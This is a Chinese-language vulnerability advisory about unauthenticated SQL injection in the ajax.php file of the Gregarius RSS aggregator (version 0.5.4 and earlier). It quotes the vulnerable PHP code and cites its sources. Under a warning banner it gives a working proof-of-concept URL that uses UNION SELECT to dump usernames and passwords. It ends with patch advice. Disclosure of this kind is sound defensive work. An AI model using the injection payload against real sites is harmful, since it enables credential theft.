安全研究

安全漏洞
Gregarius ajax.php文件SQL注入漏洞

发布日期:2008-07-29
更新日期:2008-07-30

受影响系统:
Marco Bonetti Gregarius <= 0.5.4
描述:
BUGTRAQ  ID: 30423

Gregarius是基于php的RSS聚合器,可以将所设定的源聚合在一起,以HTML或者XML方式输出。

Gregarius的/ajax.php文件中存在多个SQL注入漏洞,允许远程攻击者无需认证便可获得管理凭据。以下是有漏洞的代码段:

function __exp__getFeedContent($cid) {
    ob_start();
    rss_require('cls/items.php');
    
    $readItems = new ItemList();

    $readItems -> populate(" not(i.unread & ". RSS_MODE_UNREAD_STATE  .")
    and i.cid= $cid", "", 0, 2, ITEM_SORT_HINT_READ);
    $readItems -> setTitle(LBL_H2_RECENT_ITEMS);
    $readItems -> setRenderOptions(IL_TITLE_NO_ESCAPE);
    foreach ($readItems -> feeds[0] -> items as $item) {
        $item -> render();
    }
    $c = ob_get_contents();
    
    ob_end_clean();
    return "$cid|@|$c";
}

sajax_handle_client_request()调用上面的函数并允许攻击者通过rsargs[]数组指定$cid的内容,因此无论magic_quotes_gps设置如何都可以影响查询。

<*来源:James Bercegay (security@gulftech.org
  
  链接:http://marc.info/?l=bugtraq&m=121734846209080&w=2
        http://secunia.com/advisories/31260/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/ajax.php?rs=__exp__getFeedContent&amp;rsargs[]=-99 UNION SELECT concat(char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*

建议:
厂商补丁:

Marco Bonetti
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://gregarius.net/

浏览次数:3398
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障